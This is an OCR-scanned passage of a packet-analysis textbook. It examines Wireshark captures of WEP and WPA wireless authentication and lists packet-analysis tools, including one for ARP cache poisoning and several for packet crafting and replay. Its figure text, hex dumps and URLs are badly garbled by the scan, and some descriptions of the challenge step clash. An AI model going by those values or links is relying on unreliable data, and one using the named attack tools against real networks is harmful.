Tag interpretation: Challenge text: D4ABB116F5B6C6CF1EC74B95A5389E7D341CC3D87A2F9F95... 


0010 88 6b 68 30 cO 56 01 00 4] 
0020 bl 16 f5 b6 có c! le c7 3l 
0030 c3 d8 7a 2f 9f 95 67 51 [s] 
0040 68 bO 92 c1 53 40 19 83 


4 


c9 79 05 92 8b 63 fa 52 


Figure 11-11: The WAP issues challenge text to the wireless client. 


The challenge is acknowledged with packet 5. The wireless client then 
responds by decrypting the challenge text with the WEP key and returning it 
to the WAP @, as shown in Figure 11-12. 


[Ell 6 0.001751 GemtekTe_30:b0:af Enterasy 6:68:30 IEEE 802.11 Authentication, SNAKE: 5) 


Frame 6: 179 bytes on wire (1432 bits), 179 bytes captured (1432 bits) 
E IEEE 802.11 Authentication, Flags: .p...... 
Type/subtype: Authentication (0x0b) 
Frame Control: Ox40B0 (Normal) 
Duration: 314 
Destination address: Enterasy 6b:68:30 (00:11:88:6b:68:30) 
Source address: GemtekTe 30:b0:af (00:14:a5:30:b0:af) 
BSS Id: Enterasy 6b:68:30 (00:11:88:6b:68:30) 
Fragment number: O 
Sequence number: 43 
WEP parameters 
Ej Data (147 bytes) 
Qata: FC124E1E485588E122F358F756895861121EC74E4DD09934. .. 
[Length: 147] 


0000 
0010 
0020 
0030 
0040 


AACA 


Figure 11-12: The wireless client sends the unencrypted challenge 
text back to the WAP. 


The packet is once again acknowledged in packet 7, and the WAP responds 
to the wireless client in packet 8, as shown in Figure 11-13. The response 
contains notification that the authentication process was successful 6. 
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lll 5 0.002751 Enterasy_ 6b:6830 GemtekTe_30:b0.af IEEE 802.11. Authentication, SN=1389, FN-0, Flags-..... Cala) [scos|. (50: ES 


Frame 8: 30 bytes on wire (240 bits), 30 bytes captured (240 bits) 
IEEE 802.11 Authentication, Flags: ........ 
E Fixed parameters (6 bytes) 
Authentication Algorithm: shared key (1) 
Authentication SEQ: 0x0004 
Status code: successful (0x0000) [1] 


[0000 bO 00 3a 01 00 14 a5 30 bO af 00 11 88 6b 68 30  ..:....0 ..... kho | 
0010 00 11 88 6b 68 30 dO 56 [ENG ere ...kho.v NEHEEIN 
i J 


Figure 11-13: The WAP alerts the client that authentication was successful. 


Finally, after successful authentication, the client can transmit an associa- 
tion request, receive an acknowledgment, and complete the connection 
process, as shown in Figure 11-14. 


No. Time Source Destination Protocol Channel Info 
10 0.000876 GemtekTe 30:b0:af Enterasy 6b:68:30 IEEE 802.11 Association Request, SN-44, FN-0, Flags=........, SSID-"DENVEROFFICE" 
11 0.000374 IEEE 802.11 Acknowledgement, Flags-... 
12 0.002627 Enterasy 6b:67:28 Broadcast IEEE 802.11 Data, SN-1390, FN-0, Flags-.p....F. 
13 0.000624 Enterasy 6b:68:30 GemtekTe 30:b0:af IEEE 802.11 Association Response, SN-1391, FN-0, Flags-........ 
14 0.000374 IEEE 802.11 Acknowledgement, Flags-........ 
15 0.683813 GemtekTe 30:b0:af Enterasy 6b:68:30 IEEE 802.11 Null function (No data), SN-45, FN-0, Flags=....... T 
16 0.000098 IEEE 802.11 Acknowledgement, Flags-. 
17 0.000053 GemtekTe 30:b0:af Broadcast IEEE 802.11 Data, SN-46, FN-0, Flags-.p.. 


Figure 11-14: The authentication process is followed by a simple two-packet association request and response. 
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Failed WEP Authentication 


In our next example, a user enters his WEP key to connect to a WAP, and 
after several seconds, the wireless client utility reports that it was unable to 
connect to the wireless network but fails to tell why. The resulting file is 
80211-WEPauthfail.pcap. 

As with the successful attempt, this communication begins with the WAP 
sending challenge text to the wireless client in packet 3. This is acknowledged, 
and in packet 5, the wireless client sends its response using the WEP key pro- 
vided by the user. 

At this point, we would expect to see notification that the authentica- 
tion was successful, but we see something different in packet 7, as shown in 
Figure 11-15 6. 


li 7 0001125 Enterasy_6b:68:30 GemtekTe_30:b0:af IEEE 802.11 Authentication, SN=611, FN=0, Flags=..... Poses roy x) 


@ Frame 7: 30 bytes on wire (240 bits), 30 bytes captured (240 bits) 
& IEEE 802.11 Authentication, Flags: .ss..... 
G Fixed parameters (6 bytes) 
Authentication Algorithm: unknown (58901) 
Authentication SEQ: 0x884c 
@ status code: Received an Authentication frame with authentication sequence transaction sequence number out of expected sequence (0x000e) 


(0000 bO 00 3a 01 00 14 a5 30 bO af 00 11 88 6b 68 30 
0010 00 11 88 6b 68 30 30 26 HENETJETSEEEÜTNGTS 


Figure 11-15: This message tells us the authentication was unsuccessful. 


This message tells us that the wireless client's response to the challenge 
text was incorrect. This suggests that the WEP key the client used to decrypt 
the challenge text must have been incorrect. As a result, the connection pro- 
cess has failed. It must be reattempted with the proper WEP key. 


80211-WPAauth 
.pcap 


Successful WPA Authentication 


WPA uses a very different authentication mechanism than WEP, but it still 
relies on the user to enter a key into the wireless client in order to connect to 
the network. An example of a successful WPA authentication is found in the 
file 80211-WPAauth.pcap. 

The first packet in this file is a beacon broadcast from the WAP. Let's 
expand the 802.11 header of this packet, look under tagged parameters, 
and expand the Vendor Specific heading, as shown in Figure 11-16. You 
should see a section devoted to the WPA attributes of the WAP 6. This lets 
us know that the WAP supports WPA and the version and implementation 
it supports. 


E 1 0.000000 Netgear. 7e:40:80 Broadcast IEEE 802.11 Beacon frame, SN=266, FN=0, Flags 81-100, Soy bel RES 


Frame 1: 109 bytes on wire (872 bits), 109 bytes captured (872 bits) 
IEEE 802.11 Beacon frame, Flags: ........ 
E IEEE 802.11 wireless LAN management frame 
Fixed parameters (12 bytes) 
S Tagged parameters (73 bytes) 
SSID parameter set 
Supported Rates: 1.0(B) 2.0(B) 5.5(B) 11.0(B) 6.0 12.0 24.0 36.0 
DS Parameter set: Current Channel: 9 
Traffic Indication Map (TIM): DTIM O of 1 bitmap empty 
ERP Information: no Non-ERP STAs, do not use protection, short or long preambles 
Extended Supported Rates: 9.0 18.0 48.0 54.0 
] = vendor specific: Microsof: WPA 
Tag Number: 221 (vendor Specific) 
Tag length: 22 
vendor: Microsof 
Tag interpretation: WPA IE, type 1, version 1 
Tag interpretation: Multicast cipher suite: TKIP 
Tag interpretation: # of unicast cipher suites: 1 
Tag interpretation: Unicast cipher suite 1: TKIP 
Tag interpretation: # of auth key management suites: 1 
Tag interpretation: auth key management suite 1: PSK 
vendor Specific: Atherosc 


0030 96 Oc 18 30 48 03 01 09 05 04 00 O1 00 00 2a 01 
(0040 00 32 04 12 24 60 6c REESIESDEEDE FEED 
(lebyemmO f2 02 O1 OO OO 50 f2 02 O1 OO OO 50 f2 O2NPT 
0060 Oc 00 03 7f 02 01 01 00 00 O2 a3 00 00 


4 


Figure 11-16: This beacon lets us know that the WAP supports WPA 
authentication. 


Once the beacon is received, the wireless client (00:14:6c:7e:40:80) sends a 
probe request for the WAP (00:0£b5:88:ac:82), and the WAP responds. Authen- 
tication and association requests and responses are generated between the 
wireless client and WAP in packets 4 through 7. 

Things really start to pick up in packet 8. This is where the WPA hand- 
shake begins, continuing through packet 11. This handshake process is where 
the WPA challenge response takes place, as shown in Figure 11-17. 


No. Time Source Destination Protocol Channel Info 
8 0.004096 Netgear 7e:40:80 Netgear. 88:ac:82 EAPOL Key 
9 0.004101 Netgear. 88:ac:82 Netgear. 7e:40:80 EAPOL Key 
10 0.003580 Netgear 7e:40:80 Netgear. 88:ac:82 EAPOL Key 
11 0.000004 Netgear. 88:ac:82 Netgear. 7e:40:80 EAPOL Key 
Figure 11-17: These packets are a part of the WPA handshake. 
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There are two challenges and responses. Each can be matched with the 
other based on the Replay Counter field under the 802.1x Authentication 
header, as shown in Figure 11-18. Notice that the Replay Counter value for 
the first two handshake packets is 1 8, and for the second two handshake 


packets, it's 2 0. 


D Eej =| B 


( ED 5 0.004096 Netgear _7e:40:80 Netgear _88:ac:82 EAPOL Key 


45 (Blog| X% 


z2 | | E 10 0.003580 Netgear_7e:40:80 Netgear_88:ac:82 EAPOL Key 


|& Frame 8: 131 bytes on wire (1048 bits), 131 bytes captured (1048 bits) 
@ IEEE 802.11 Data, Flags: ......F. 
& Logical-Link control 
|& 802.1x Authentication 
version: 1 
Type: Key (3) 
Length: 95 
Descriptor Type: EAPOL WPA key (254) 
& Key Information: 0x0089 
Key Length: 32 
@ replay Counter: 1 
Nonce: 7F752DFOOED1F1782C2ECB5FE0D52083513FB26D4D77658D. .. 
Key IV: 00000000000000000000000000000000 
WPA Key RSC: 0000000000000000 
WPA Key ID: 0000000000000000 
WPA Key MIC: 00000000000000000000000000000000 
WPA Key Length: 0 


ila 00 00 00 00 OO OO OO 00 00 00 OO OO OO OO O0 


lanan 


[0010 00 14 6c 7e 40 80 90 16 aa aa 03 00 00 00 88 8e a | | [0010 

[0020 e 00 89 00 20 00 00 00 00 00 00 O0 METEO: 03 00 77 Fe O1 c9 00 20 00 00 00 00 00 00 OO 
MEDEO] 7f 75 2d fO Oe di f1 78 2c 2e cb 5f eo d5 20 EIEN? 7f 75 2d fO Oe di f1 78 2c 2e cb 5f eo d5 20 
RZA: 51 3f b2 Gd 4d 77 65 8d 8c 27 b4 fc cf b8 d4| [i Eljs: 51 3f b2 6d 4d 77 65 8d 8c 27 b4 fc cf b8 d4 
[0050 


& Frame 10: 155 bytes on wire (1240 bits), 155 bytes captured (1240 bits) 
@ IEEE 802.11 Data, Flags: ......F. 
8$ Logical-Link control 
Ej 802.1x Authentication 
Version: 1 
Type: Key (3) 
Length: 119 
Descriptor Type: EAPOL WPA key (254) 
@ Key Information: 0x01c9 
Key Length: 32 
@ Replay Counter: 2 
Nonce: 7F752DFOOED1F1782C2ECB5FE0D52083513FB26D4D77658D. . . 
Key IV: 00000000000000000000000000000000 
WPA Key RSC: 0000000000000000 
WPA Key ID: 0000000000000000 
WPA Key MIC: 3AAF2A8DE43F4680389543F2A29D57FB 
WPA Key Length: 24 
@ WPA Key: DD160050F20101000050F20201000050F20201000050F 202 


«I rr D 


-fa [rm 


Figure 11-18: The Replay Counter field helps us pair challenges and responses. 


After the WPA handshake is completed and authentication is successful, 
data begins transferring between the wireless client and the WAP. 


Failed WPA Authentication 


80211- As with WEP, we'll look at what happens when a user enters his WPA key 

WPAauthfail and the wireless client utility reports that it was unable to connect to the 

pp wireless network, without indicating the problem. The resulting file is 
80211-WPAauthfail. cap. 

Once again, the capture file begins in a manner identical to the success- 
ful WPA authentication we just examined. This includes probe, authentication, 
and association requests. The WPA handshake begins in packet 8, but in this 
case, we can see that there are eight handshake packets instead of the four 
we saw in the successful authentication attempt. 

Packets 8 and 9 represent the first two packets seen in the WPA handshake. 
In this case, however, the challenge text that is sent back to the WAP from 
the client is incorrect. As a result, the sequence is repeated in packets 10 and 
11, 12 and 13, and 14 and 15, as shown in Figure 11-19. Each request and 
response can be paired using the Replay Counter value. 

No. Time Source Destination Protocol Channel Info 

9 0.003547 Netgear. 88:ac:82 Netgear. 7e:40:80 EAPOL Key 

10 1.000549 Netgear 7e:40:80 Netgear. 88:ac:82 EAPOL Key 

11 0.000476 Netgear. 88:ac:82 Netgear 7e:40:80 EAPOL Key 

12 0.999489 Netgear 7e:40:80 Netgear. 88:ac:82 EAPOL Key 

13 0.000511 Netgear. 88:ac:82 Netgear. 7e:40:80 EAPOL Key 

14 0.999013 Netgear. 7e:40:80 Netgear. 88:ac:82 EAPOL Key 

15 -0.000037 Netgear. 88:ac:82 Netgear. 7e:40:80 EAPOL Key 
Figure 11-19: The additional EAPOL packets here indicate the failed WPA authentication. 

232 Chapter 11 


Once the handshake process has been attempted four times, the commu- 
nication is aborted. As shown in Figure 11-20, the wireless client deauthenticates 
from the WAP in packet 16 0. 


BB 16 0.999524 Netgear 7e40:80 Netgear 88:ac82 IEEE 80211 Deauthentication, SS? LE} bhae 


Œ Frame 16: 26 bytes on wire (208 bits), 26 bytes captured (208 bits) 
B IEEE 802.11 Deauthentication, Flags: ........ 


IÐ rype/subtype: Deauthentication (0xOc) 

Frame Control: OxOOCO (Normal) 
Duration: 314 
Destination address: Netgear 88:ac:82 (00:0f:b5:88:ac:82) 
Source address: Netgear 7e:40:80 (00:14:6c:7e:40:80) 
BSS Id: Netgear 7e:40:80 (00:14:6c:7e:40:80) 
Fragment number: O 
Sequence number: 551 

E IEEE 802.11 wireless LAN management frame 
S Fixed parameters (2 bytes) 
Reason code: unspecified reason (0x0001) 


[RMECO 00 3a O1 OO Of b5 88 ac 82 OO 14 6c 7e 40 80 
(exKemmOO 14 6c 7e 40 01 00 o .. 


Figure 11-20: After failing the WPA handshake, the client 
deauthenticates. 


Final Thoughts 


Although wireless networks are still considered widely insecure, that hasn’t 
slowed their deployment in various organizational environments. As the 
focus shifts to communication without wires, it is critical to be able to capture 
and analyze data on wireless networks, as well as wired ones. The skills and 
concepts taught in this chapter are by no means exhaustive, but they should 
provide a jump start in helping you understand the intricacies of trouble- 
shooting wireless networks with packet analysis. 
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FURTHER READING 


Although the tool used primarily in this book 
is Wireshark, a great deal of additional tools 
will come in handy when you're performing 

packet analysis—whether it be for general trouble- 
shooting, slow networks, security issues, or wireless 
networks. This chapter lists some useful packet analysis 
tools and other packet analysis learning resources. 


Packet Analysis Tools 


There are several tools that are useful for packet analysis in addition to 
Wireshark. Here, we'll look at a few of the ones I have found most useful. 


tcpdump and Windump 


Although Wireshark is very popular, it is probably less widely used than 
tcpdump. Considered the de facto packet capture and analysis utility by 
several crowds, tcpdump is entirely text based. 
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Although tcpdump lacks graphical features, it is great for sifting through 
large amounts of data, as you can pipe its output to other commands, such as 
sed and awk in Linux. As you delve further into packet analysis, you will find 
use for both Wireshark and tcpdump. You can download tcpdump from 
hittp://www.tcpdump.org/. 

Windump is simply a distribution of tcpdump that has been remade for 
Windows. You can download it from Attp://www.winpcap.org/windump/. 


Cain & Abel 


Discussed in Chapter 2, Cain & Abel is one of the better Windows tools for 
ARP cache poisoning. Cain & Abel is actually a very robust suite of tools, and 
you will surely be able to find other uses for it as well. It is available from 
hittp://www.oxid.it/cain. html. 


Scapy 


Scapy is a very powerful Python library that allows for the creation and 
manipulation of packets based on command-line scripts within its environ- 
ment. Simply put, Scapy is the most powerful and flexible packet-crafting 
application available. You can read more about Scapy, download it, and view 
sample Scapy scripts at http://www. secdev. org/projects/scapy/. 


Netdude 


If you don’t need something as advanced as Scapy, then Netdude is a great 
Linux alternative. Although Netdude is limited in its ability, it provides a GUI 
that is very easy to use for creating and modifying packets for research pur- 
poses. Figure A-1 shows an example of using Netdude. You can download 
Netdude from http://netdude. sourceforge. net/. 


I Netdude: /auto/homes/cpk25/proj/trac 
File Edit Go Protocols 


- 650648 61.219.90.180.56712 > 132.168.100.28.1524: . ack 3127732936 win 20030 <nop, nop, timestamp 486320 


16:56:46.370627 192.18.99.122.20 > 192.168.100.28.32794: . 4095427529:4095428989(1460}) ack 3391286452 win 24820 

16:56:46.970627 132.168.100.28.32734 > 192.18.99.122.20: . ack 1784 win 24820 (DF) 

16:56:46.970627 132.168.100.28.1524 > 61.219.30.180.56712: P 1:2(1) ack 0 win 24616 <nop,nop, timestamp 11398953 
. 000625 -18.99.122.20 > 192.168.100.28.32794: . 1784:3244(1460) ack 1 win 24820 (DF) [tos 0x8] 


16:56:47.120617 192.168.100.28.32794 > 192.18.99.122.20: . ack 3244 win 24820 (DF) 

16:56:47.130612 61.219.90.180.56712 > 192.168.100.28.1524: . ack 2 win 20030 <nop,nop, timestamp 48632098 113989 
:47.190612 132.168.100.28.1524 > 61.219.90.180.56712: P 2:4(2) ack 0 win 24616 <nop,nop, timestamp 11398955 
47.400538 61.219.90.180.56712 > 132.168.100.28.1524: . ack 4 win 20090 <nop,nop, timestamp 48632113 113989 
47 F4ANSA1 13? 18 99 122 2M > 13? 1R8 19M ?8 32734. 2744-4704 /146N\ ack 1 win 2482 (nF\ [tos Neal 


| 200 packets. ||" Real size: 1514 bytes, captured: 1514. 
Figure A-1: Modifying packets within Netdude 


Colasoft Packet Builder 


If you are a Windows user and want a GUI similar to Netdude, then consider 
using Colasoft Packet Builder, an excellent free tool. Colasoft also provides 
an easy-to-use GUI for packet creation and modification. You can download 
it from http://www. colasoft.com/packet_builder/. 


CloudShark 


CloudShark (developed by QA Café) is one of my favorite online resources 
for sharing packet captures with others. CloudShark is a website that displays 
network capture files inside your browser in a Wireshark-esque manner, as 
shown in Figure A-2. You can upload capture files and send the links to col- 
leagues for shared analysis. 


File Edit View History Delicious Bookmarks Tools Help 


OE ce x a AG m couhokog apurren A | E- coge E 


ucl - burgi scs sua 


@ GoudShark http google pcap. rr 


(ji CloudShark Navigate: | e || | = || æ | |] Filter: v Apply || @ Clear ||| 4 Graphs 


1 0.000000. 172.16.16.128 74.125.95.104 CR 1606 > www [SYN] Seq=0 Win=6192 Len-0 MSS-1460 WS-2 SACK PERM-l 
0.030107 17 e 0 MSS=1406 SACK PERM-l WS=6 


a reassembled PDU] 
Win=16872 Len=0 


D Frame 1: 66 bytes 
b Ethernet IL, Src: E jn 
b Internet Protocol, Sr 16.16.128 (172.16.16.128), Dst: 74.125.95.104 (74.125.95.104) 
b Transmission Control Protocol, Sre Port: 1606 (1606), Dst Port: www (80), Seq: 0, Len: 0 


(0000 00 05 Sd 21 99 4c 00 21 6a Sb 7d 4a 08 00 45 00 — ..]!.L.'2[]J..E 
O010 00 34 40 £2 40 00 80 06 53 Sc ac 10 10 80 4a 7d — .40.0...5V....U] 
0020 S£ 6806 46 00 50 7c 23 Sa b7 00 00 00 00 80 02 — h.F.Pl8Z 

0030 20 00 0b 30 00 00 02 04 05 b4 01 03 03 02 o 

0040 04 02 


Done F-E 


Figure A-2: A sample capture file viewed with CloudShark 


My favorite thing about CloudShark is that it doesn’t require registration 
and accepts direct linking via URL. This means that when I post a link to a 
PCAP file on my blog, someone can just click it and see the packets, without 
needing to download the file and open it in Wireshark. 

CloudShark is accessible at http://www.cloudshark.org/. 


pcapr 

pcapr is a very robust Web 2.0 platform for sharing PCAP files created by the 
folks at Mu Dynamics. As of this writing, pcapr contains nearly 3,000 PCAP 
files, with examples of more than 400 different protocols. Figure A-3 shows 
an example of a DHCP traffic capture on pcapr. 
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(agp) ancp-relay-serverside pap | dhcp | peapr - Mozilla Fco NNI NN (ahs) =] mn 
File Edit View History Delicious Bookmarks Tools Help 

SER GEX A nd QD http://www.pcapr.net/view/mu/2009/1/2/23/dhcp-relay-serverside.pcap.htr [X] LY ~| $- Google 2] A 
LU Infragard Login [Ba] Army ATC System ™,§ Welcome - liferay.com 


|| D dhep-relay-serverside.peap | dhcp | p. |+| 


pcapr 3990 users, 59746997 packets, 2782 pcaps, 421 protocols, 162 tags New! Links v chris@chrissanders.org Upload Logout Ej 
L 
M @ About © View/Edit £3 BOOKMARK a 9?) £7. 


.*jDownload 


m 1. * 1029999 » 10101 dhcp DHCP Request- Transaction ID 0x 
Ww 2. 9 10.101 » 10.299.99 dhcp DHCI 
m 3. © 102.9999 » 2240.122 dhcp DHCP Request- Transaction ID 0x27032703 E 


\CK - Transaction ID 0x2 


Select » Delete v Actions ~ 
- 00:10:7b:81:43:e2 (00:10:7b:81:43:e2), Dst: 01:00:5e:00:01:16 (01:00:Se:00:01 3 
n :39r9:510:72-99:39101052:93:99) A a e TA A r A D e r A 
ocol, Src Port: 68 (68), Dst Port: 67 (67) 


m 4 BD 10101 » 10.299.99 dhcp DHCP ACK - Transaction ID 0x27032703 
m 5 © 10201 » 10.10.1 dhcp DHCP Inform - Transaction ID Oxcd: 


W 6. E 10101 » 1029999 dhcp DHCP ACK -Transaction ID Oxcc 


Done aga 


Figure A-3: Viewing a DHCP traffic capture on pcapr 


When I'm looking for an example of a certain type of communication, I 
start by searching on pcapr. If you find yourself creating a lot of different 
capture files in your own experimentation, don't hesitate to share them with 
the community by uploading them to pcapr, at hitp://www.pcapr.net/. 


NetworkMiner 


NetworkMiner is a tool primarily used for network forensics, but I've found it 
useful in a variety of other situations as well. Although it can be used to cap- 
ture packets, its real strength is how it parses PCAP files. NetworkMiner will 
take a PCAP file and break it down into the operating systems detected and 
the sessions between hosts. It even allows you to extract transferred files 
directly from the capture. NetworkMiner is free to download from http:// 
networkminer. sourceforge. net/. 


Icpreplay 

Whenever I have a set of packets that I need to retransmit over the wire to 
see how a device reacts to them, I use Tcpreplay to perform that. Tcpreplay is 
designed specifically to take a PCAP file and retransmit the packets contained 
within it. Download it from hitp://tcpreplay. synfin.net/. 


ngrep 

If you are familiar with Linux, you’ve no doubt used grep to search through 
data. ngrep is very similar and allows you to perform very specific searches 
through PCAP data. I mostly use ngrep when capture and display filters won’t 
do the job or get too wildly complex. You can read more about ngrep at Attp:// 
ngrep. sourceforge. net/. 


libpcap 

If you plan to do any really advanced packet parsing or create applications that 
deal with packets, you become very familiar with libpcap. Simply put, libpcap 
is a portable C/C++ library for network traffic capture. Wireshark, tcpdump, 
and most other packet analysis applications rely on the libpcap library at 
some level. You can read more about libpcap at hitp://www.tcpdump.org/. 


hping 

hping is one of the more versatile tools to have in your arsenal. hping is a 
command-line packet crafting and transmission tool. It supports a variety of 
protocols and is very quick and intuitive to use. You can download hping 
from hitp://www.hping. org/. 


Domain Dossier 


If you need to look up the registration information for a domain or IP 
address, then Domain Dossier is the place to do that. It’s fast, it’s simple, 
and it works. You can access Domain Dossier at http://www.centralops.net/co/ 
DomainDossier. aspx. 


Perl and Python 


Perl and Python aren’t tools but rather scripting languages that are well worth 
mentioning. As you become proficient in packet analysis, you will encounter 
cases where no automated tool exists to meet your needs. In those cases, Perl 
and Python are the languages of choice for making tools that can do interest- 
ing things with packets. I typically use Python for most applications, but it’s 
often just a matter of personal preference. 


Packet Analysis Resources 


From Wireshark’s home page to courses and blogs, many resources for packet 
analysis are available. I'll list a few of my favorites here. 


Wireshark Home Page 


The foremost resource for everything related to Wireshark is its home page, 
at hitp://www.wireshark.org/. The home page includes the software documen- 
tation, a very helpful wiki that contains sample capture files, and sign-up 
information for the Wireshark mailing list. 


SANS Security Intrusion Detection In-Depth Course 


As a SANS mentor, I'm slightly biased, but I don't think there is a better packet 
analysis course on the planet than SANS SEC 503, Intrusion Detection In-Depth. 
This class focuses on the security aspects of packet analysis. Even if you aren't 
focused on security, the first two days of the course provide the best introduc- 
tion to packet analysis and tcpdump that I've ever experienced. 
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The course is taught by two of my packet analysis heroes, Mike Poor and 
Judy Novak. It is offered at live events several times throughout the year. If 
your travel budget is limited, the course is also taught through an online and 
web-based on-demand format. 

You can read more about SEC 503 and other SANS courses at Attp:// 
tw. sans. org/. 


Chris Sanders Blog 


I don't get around to posting nearly enough, but I do occasionally write 
articles related to packet analysis and post them on my blog, at http://www 
.chrissanders.org/. If nothing else, my blog serves as a portal that links to other 
articles and books I have written, and it provides information about how to 
get in touch with me. 


Packetstan Blog 


The blog of Mike Poor and Judy Novak is my favorite packet-related blog out 
there at the moment. Their site hitp://www.packetstan.com/ contains some 
great breakdowns of interesting traffic, and every single piece of content on 
it is A+ material. Mike and Judy are two of the best at what they do, and they 
are a large inspiration to me. 


Wireshark University 


Laura Chappell is one of the most prolific Wireshark evangelists you will 

find. Her site contains loads of Wireshark tips, as well as information about 
her book, Wireshark Network Analysis, and the courses she teaches. Find out 

more at http://www.wiresharktraining.com/. 


IANA 


The Internet Assigned Numbers Authority (IANA), available at Attp:// 
www.iana.org/, oversees the allocation of IP addresses and protocol number 
assignments for North America. Its website offers some valuable reference 
tools, such as the ability to look up port numbers, view information related to 
top-level domain names, and browse companion sites to find and view RFCs. 


TCP/IP Illustrated (Addison-Wesley) 


Considered the TCP/IP bible by most, this series of books by Dr. Richard Ste- 
vens is a staple on the bookshelves of most who live at the packet level. It 

is my favorite TCP/IP book and something I referenced quite a bit when writ- 
ing this book. 


The TCP/IP Guide (No Starch Press) 


One more favorite of mine in the TCP/IP realm is this book by Charles 
Kozierok. Weighing in at over 1,000 pages, it's very detailed and contains 
a lot of great diagrams for the visual learner. 
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direct install method, for sniffer 
placement, 31, 32 
direct messaging, in Twitter, 137 
discover packet for DHCP, 116-117 
Display Filter dialog, 65-66 
display filters, 56-65 
sample expressions, 65 
saving, 65-66 
dissection 
expert information from, 82-84 
viewing source code, 76 
DNS. See Domain Name 
System (DNS) 
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Internet Control Message Protocol 
(ICMP), 107-112 
echo requests and responses, 
108-110 
header, 107 
ping, 95 
types and messages, 107 
Internet Explorer, vulnerability 
in, 197 
Internet Protocol (IP), 9, 91—97 
addresses, 26, 91-92 
assignments, 70 
dynamic assignment, 113-120 
filtering packets with specific 
address, 64 
finding. See Domain Name 
System (DNS) 
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& Abel), 28 
Mac OS X, installing Wireshark on, 
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mapping path, 110-112 
marking packets, 51 
master mode, for wireless NIC, 
218, 219 
maximum transmission unit 
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